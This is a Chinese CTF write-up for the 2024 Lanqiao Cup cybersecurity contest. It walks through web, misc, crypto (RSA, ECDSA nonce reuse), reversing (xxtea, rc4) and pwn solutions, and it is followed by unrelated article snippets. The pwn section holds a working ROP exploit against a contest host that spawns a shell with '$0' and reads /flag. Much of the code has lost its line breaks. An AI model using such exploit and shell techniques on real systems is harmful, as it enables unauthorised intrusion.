2024第十五届蓝桥杯网络安全赛项WriteUp

欢迎关注公众号【Real返璞归真】回复【蓝桥杯2024】获取完整题目附件。

排名

img

安全知识

错1个选择题,题目说的不清楚,没搞懂题意。肯定不能用eval。错了理论题有点遗憾。

没想到这题前端是要解析json数据,排除CD选了A,结果发现正确答案选C。

image-20240427160134547

情报收集

爬虫协议

Web方向的签到题,题目提示的很明显,进去还有个Robots,直接访问网站robots.txt文件:

image-20240427120954424

访问最后一个限制爬虫的可疑目录,直接得到Flag:

image-20240427121155580

数据分析

packet

Misc方向的签到题,找到POST请求,发现是命令执行cat flag,返回Base64后的flag:

image-20240427121346223

直接解Base64得到Flag:

image-20240427121717368

缺失的数据

压缩包里给了字典,直接用ARCHPR爆破后得到解压密码。

解压得到原图,并且有了加密后的图片,根据代码里的key和参数直接运行脚本解密水印图片:

image-20240427144632724
import cv2
import numpy as np
import pywtclass WaterMarkDWT:def __init__(self, origin: str, watermark: str, key: int, weight: list):self.key = keyself.img = cv2.imread(origin)self.mark = cv2.imread(watermark)self.coef = weightdef arnold(self, img):r, c = img.shapep = np.zeros((r, c), np.uint8)a, b = 1, 1for k in range(self.key):for i in range(r):for j in range(c):x = (i + b * j) % ry = (a * i + (a * b + 1) * j) % cp[x, y] = img[i, j]return pdef deArnold(self, img):r, c = img.shapep = np.zeros((r, c), np.uint8)a, b = 1, 1for k in range(self.key):for i in range(r):for j in range(c):x = ((a * b + 1) * i - b * j) % ry = (-a * i + j) % cp[x, y] = img[i, j]return pdef get(self, size: tuple = (1200, 1200), flag: int = None):img = cv2.resize(self.img, size)img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)c = pywt.wavedec2(img2, 'db2', level=3)[cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = cd = pywt.wavedec2(img1, 'db2', level=3)[dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = da1, a2, a3, a4 = self.coefca1 = (cl - dl) * a1ch1 = (cH3 - dH3) * a2cv1 = (cV3 - dV3) * a3cd1 = (cD3 - dD3) * a4# Ensure all coefficients have the same shapeca1 = cv2.resize(ca1, (cD3.shape[1], cD3.shape[0]))waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')waterImg = np.array(waterImg, np.uint8)waterImg = self.deArnold(waterImg)kernel = np.ones((3, 3), np.uint8)if flag == 0:waterImg = cv2.erode(waterImg, kernel)elif flag == 1:waterImg = cv2.dilate(waterImg, kernel)return waterImgif __name__ == '__main__':img = 'a.png'watermark = 'newImg.png'k = 20xs = [0.2, 0.2, 0.5, 0.4]W1 = WaterMarkDWT(img, watermark, k, xs)extracted_watermark = W1.get()cv2.imwrite('提取出的水印.png', extracted_watermark)

密码破解

cc

image-20240427122506413

和去年的签到题一样,有了key和iv,直接在CyberChef用AES解密回去即可:

image-20240427122603006

Theorem

密码方向的签到题,根据题目已知n、e和c,并且p和q是相邻的素数,可以考虑分解。

通过prevprime函数分解n,然后RSA解密即可:

from Crypto.Util.number import long_to_bytes
import gmpy2
import libnumfrom sympy import prevprimee = 65537
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829# 分解n
p = prevprime(gmpy2.iroot(n,2)[0])
q = n // p# 求d
d = gmpy2.invert(e,(p-1) * (q-1))print(long_to_bytes(pow(c,d,n)))

Signature

椭圆曲线密码中的签名整数k相同攻击利用。

因为k值相同,所以r值也是相同的。

题目中给到了使用相同的k进行两次签名的结果,那根据:

s1 = k^-1 (z1 + rda) mod n
s2 = k^-1 (z2 + rda) mod n
s1 - s2 = k^-1 (z1 - z2) mod n
K = (s1-s2)^-1 * (z1 -z2) mod n

得到k,最后再代入原式便能解出da了,即本题中的flag,完整exp:

from gmpy2 import *
from Crypto.Util.number import *
from hashlib import *n= 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
r2 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254z1 = sha1(b'Hi.').digest()
z2 = sha1(b'hello.').digest()
s1_1 = inverse(s1, n)
s2_1 = inverse(s2, n)def check(key):for i in range(len(key)):if key[i] < 32 or key[i] > 127:return 0return 1x = (s2_1*bytes_to_long(z2) - s1_1*bytes_to_long(z1))%n
key = x*inverse(s1_1*r1-s2_1*r2, n)%nprint(key)

逆向分析

欢乐时光

加密是44个字节,但存储输入的大小只有42个字节,当然输入也就是最多42字节了,感觉这里是有点问题的,虽然多余的2个字节是用\0x填充。
image-20240427120415373
加密就是魔改xxtea,修改了加密的轮数,下面代码中的参数v9:

__int64 __fastcall cry(_DWORD *a1, int a2, __int64 a3)
{unsigned int *v3; // rax_DWORD *v4; // rax__int64 result; // raxunsigned int v6; // [rsp+20h] [rbp-18h]unsigned int v7; // [rsp+24h] [rbp-14h]unsigned int i; // [rsp+28h] [rbp-10h]int v9; // [rsp+2Ch] [rbp-Ch]int v10; // [rsp+30h] [rbp-8h]unsigned int v11; // [rsp+34h] [rbp-4h]v9 = 415 / a2 + 114;v7 = 0;v6 = a1[a2 - 1];do{v7 -= 0x61C88647;v10 = (v7 >> 2) & 3;for ( i = 0; i < a2 - 1; ++i ){v11 = a1[i + 1];v3 = &a1[i];*v3 += ((v11 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * v11) ^ (v6 >> 5))+ ((v11 >> 3) ^ (16 * v6)));v6 = *v3;}v4 = &a1[a2 - 1];*v4 += ((*a1 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * *a1) ^ (v6 >> 5))+ ((*a1 >> 3) ^ (16 * v6)));result = (unsigned int)*v4;v6 = result;--v9;}while ( v9 );return result;
}

xxTEA,直接逆回去解密:

#include <stdio.h>  
#include <stdint.h>  
#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  void btea(uint32_t *v, int n, uint32_t const key[4])  
{  uint32_t y, z, sum;  unsigned p, rounds, e;  if (n > 1)            {  rounds = 6 + 52/n;  sum = 0;  z = v[n-1];  do  {  sum += DELTA;  e = (sum >> 2) & 3;  for (p=0; p<n-1; p++)  {  y = v[p+1];  z = v[p] += MX;  }  y = v[0];  z = v[n-1] += MX;  }  while (--rounds);  }  else if (n < -1) {  n = -n;  rounds = 114 + 415/n;  sum = rounds*DELTA;  y = v[0];  do  {  e = (sum >> 2) & 3;  for (p=n-1; p>0; p--)  {  z = v[p-1];  y = v[p] -= MX;  }  z = v[n-1];  y = v[0] -= MX;  sum -= DELTA;  }  while (--rounds);  }  
}  int main()  
{  uint32_t v[]= {1208664588, 3465558002, 2350981144, 244490637, 2751681140, 611560113, 2851068760, 2771174856, 3828534097, 3494810147, 1875931283, 0};  uint32_t const k[4]= {2036950869, 1731489644, 1763906097, 1600602673};  int n = 11;btea(v, -n, k);for(int i = 0; i < sizeof(v); i++){printf("%d, ", ((char *)v)[i]);}puts((char *)v);return 0;  
}  

rc4

拖入IDA分析,和去年的题差不多,给了key和data,然后执行rc4加密函数:

image-20240427124243613

只不过没把结果输出,加密的结果存在了a3变量位置,函数结束前打断点动态调试:

image-20240427124604511

直接在a3的位置找到了flag:

image-20240427124528689

漏洞分析

fd

看来打pwn的师傅还是少,签到pwn题。

拖入IDA分析:

image-20240427122814676

首先读取最多14个字符到bss段的变量info中,然后读取最多0x4B到栈变量。

并且继续寻找发现程序提供了system函数,显而易见,直接ret2shellcode。

如果就这样结束了,这题一定被冲烂了。程序加了一个限制check函数:

image-20240427123031063

不能使用/binsh、/sh、cat等字符串作为system参数,因此可以使用$0启动shell。

但是又存在一个问题,close(1)关闭了stdout,因此需要将stdout重定向到stderr使正常输出。

完整exp如下:

from pwn import *context(arch = 'amd64', os = 'linux', log_level = 'debug')io = remote('47.93.143.29', '25923')
elf = ELF('./fd')bss = 0x601090
system = elf.plt['system']
pop_rdi_ret = 0x400933
ret = 0x4005ae# shellcode
io.send(b'$0')# ret2shellcode
payload = b'A'*0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi_ret) + p64(bss) + p64(system)
io.send(payload)# getFlag
io.send(b'cat /flag 1 > &2')io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/4107.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

每日一题(力扣45):跳跃游戏2--贪心

由于题目已经告诉了我们一定可以跳到&#xff0c;所以我们只需去考虑前进最快的方法。即 判断当前下一步能跳的各个位置中&#xff0c;哪个能带你去去向最远的地方&#xff08;why&#xff1f; 因为其他位置所能提供的最大范围都没最远那个大&#xff0c;所以最远的那个已经可以…

嵌入式Linux学习——Ubantu初体验

Ubuntu 和Windows 的最大差别 Windows中的每一个分区都对应着一个盘符&#xff0c;盘符下可以存放目录与文件&#xff0c;而在Ubantu中没有盘符的概念&#xff0c;只有目录结构。实际上不同的目录可能挂载在不同的分区之下&#xff0c;如果想要查看当前目录位于磁盘的哪个分区…

【服务器部署篇】Jenkins配置后端工程自动化部署

作者介绍&#xff1a;本人笔名姑苏老陈&#xff0c;从事JAVA开发工作十多年了&#xff0c;带过刚毕业的实习生&#xff0c;也带过技术团队。最近有个朋友的表弟&#xff0c;马上要大学毕业了&#xff0c;想从事JAVA开发工作&#xff0c;但不知道从何处入手。于是&#xff0c;产…

Transformer实战 单词预测

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f366; 参考文章&#xff1a;TensorFlow入门实战&#xff5c;第3周&#xff1a;天气识别&#x1f356; 原作者&#xff1a;K同学啊|接辅导、项目定制 一、定义模型 from tempfile import Tempor…

ruoyi-nbcio-plus基于vue3的flowable为了适配文件上传改造VForm3的代码记录

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://218.75.87.38:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a; h…

java如何使用webService方式调用对接第三方平台

实际使用记录&#xff0c;做个记录&#xff1a; 1、需要对方提供wsdl文件,该文件中有接口的Ip地址&#xff0c;方法名、参数等详细信息&#xff0c; wsdl文档中targetNamespace为命名空间 <xsd:element name"searchBGDMIInfo">标签中name是方法名&#xff1…

数据结构-树和森林之间的转化

从树的二叉链表的定义可知&#xff0c;任何一棵和树对应的二叉树&#xff0c;其根节点的右子树必为空。这里我们举三个树&#xff0c;将这个由三个树组成的森林组成二叉树是这个样子的。 下面我们说明一下详细过程&#xff0c;首先将每个树转化为二叉的状态&#xff0c;如图所示…

NAT网络地址转换实验(华为)

思科设备参考&#xff1a;NAT网络地址转换实验&#xff08;思科&#xff09; 一&#xff0c;技术简介 NAT&#xff08;Network Address Translation&#xff09;&#xff0c;即网络地址转换技术&#xff0c;是一种在现代计算机网络中广泛应用的技术&#xff0c;主要用于有效管…

汇编语言(详解)

汇编语言安装指南 第一步&#xff1a;在github上下载汇编语言的安装包 网址&#xff1a;GitHub - HaiPenglai/bilibili_assembly: B站-汇编语言-pdf、代码、环境等资料B站-汇编语言-pdf、代码、环境等资料. Contribute to HaiPenglai/bilibili_assembly development by creat…

李廉洋:4.27黄金原油下周一行情分析及走势策略。

金价将出现六周来的首次单周下跌&#xff0c;因投资者在金价上涨数月后获利了结。自2月中旬的低点以来&#xff0c;金价已经上涨了约17%&#xff0c;尽管对美联储放松政策的预期正在减弱&#xff0c;但金价仍屡创新高。周五公布的最新通胀数据强化了高利率将暂时维持的观点。“…

MATLAB的几种边缘检测算子(Sobel、Prewitt、Laplacian)

MATLAB的几种边缘检测算子(Sobel、Prewitt、Laplacian) clc;close all;clear all;warning off;%清除变量 rand(seed, 100); randn(seed, 100); format long g;% 读取图像 image imread(lena.png); % 转换为灰度图像 gray_image rgb2gray(image); % 转换为double类型以进行计算…

Git泄露和hg泄露原理理解和题目实操

一.Git泄露 1.简介 Git是一个开源的分布式版本控制系统&#xff0c;它可以实现有效控制应用版本&#xff0c;但是在一旦在代码发布的时候&#xff0c;存在不规范的操作及配置&#xff0c;就很可能将源代码泄露出去。那么&#xff0c;一旦攻击者发现这个问题之后&#xff0c;就…

论文速览 | IEEE Symposium on Security and Privacy (SP), 2023 | FMCW雷达反射阵列欺骗攻击

注1:本文系"计算成像最新论文速览"系列之一,致力于简洁清晰地介绍、解读非视距成像领域最新的顶会/顶刊论文(包括但不限于 Nature/Science及其子刊; CVPR, ICCV, ECCV, SIGGRAPH, TPAMI; Light‑Science & Applications, Optica 等)。 本次介绍的论文是:<I…

MariaDB 修改用户密码的 SQL

有时候我们希望能够修改数据库中访问用户的密码。 但是我们只能 SQL 登录服务器后才能进行修改。 修改的 SQL 为&#xff1a; ALTER USER root% IDENTIFIED WITH mysql_native_password BY 123;针对实际上数据的配置情况&#xff0c;上面的 SQL 是需要进行一些调整的。 MySQ…

鸿蒙云函数调试坑点

如果你要本地调试请使用 const {payload, action} event.body/** 本地调试不需要序列化远程需要序列化 */ // const {payload, action} JSON.parse(event.body) const {payload, action} event.body 注意: 只要修改云函数&#xff0c;必须上传云函数 如果使用 const {pay…

25计算机考研院校数据分析 | 南京大学

南京大学&#xff08;Nanjing University&#xff09;&#xff0c;简称“南大”&#xff0c;是中华人民共和国教育部直属、中央直管副部级建制的全国重点大学&#xff0c;国家首批“双一流”、“211工程”、“985工程”重点建设高校&#xff0c;入选首批“珠峰计划”、“111计划…

WordPress AI Engine 插件 文件上传致RCE漏洞复现(CVE-2023-51409)

0x01 产品简介 AI Engine插件是WordPress中的AI一体化解决方案,包括创建聊天机器人、生成内容和图像、推荐标题和帖子摘录、支持多种人工智能引擎等功能,可以节省用户时间。 0x02 漏洞概述 WordPress AI Engine 插件upload接口存在文件上传漏洞,未经身份验证的远程攻击者…

(四)Servlet教程——Maven的安装与配置

1.在C盘根目录下新建一个Java文件夹,该文件夹用来放置以下步骤下载的Maven&#xff1b; 2. 下载Maven的来源有清华大学开源软件镜像站和Apache Maven的官网&#xff0c;由于清华大学开源软件镜像站上只能下载3.8.8版本以上的Maven&#xff0c;我们选择在Apache Maven的官网上下…

codeforce#933 题解

E. Rudolf and k Bridges 题意不讲了&#xff0c;不如去题干看图。 传统dp&#xff0c;每个点有两个选择&#xff0c;那么建桥要么不建。需要注意的是在状态转移的时候&#xff0c;桥是有长度的&#xff0c;如果不建需要前d格中建桥花费最少的位置作为状态转移的初态。 #incl…

深度学习论文: MobileNetV4 - Universal Models for the Mobile Ecosystem及其PyTorch实现

深度学习论文: MobileNetV4 - Universal Models for the Mobile Ecosystem及其PyTorch实现 MobileNetV4 - Universal Models for the Mobile Ecosystem PDF: https://arxiv.org/pdf/2404.10518.pdf PyTorch代码: https://github.com/shanglianlm0525/CvPytorch PyTorch代码: ht…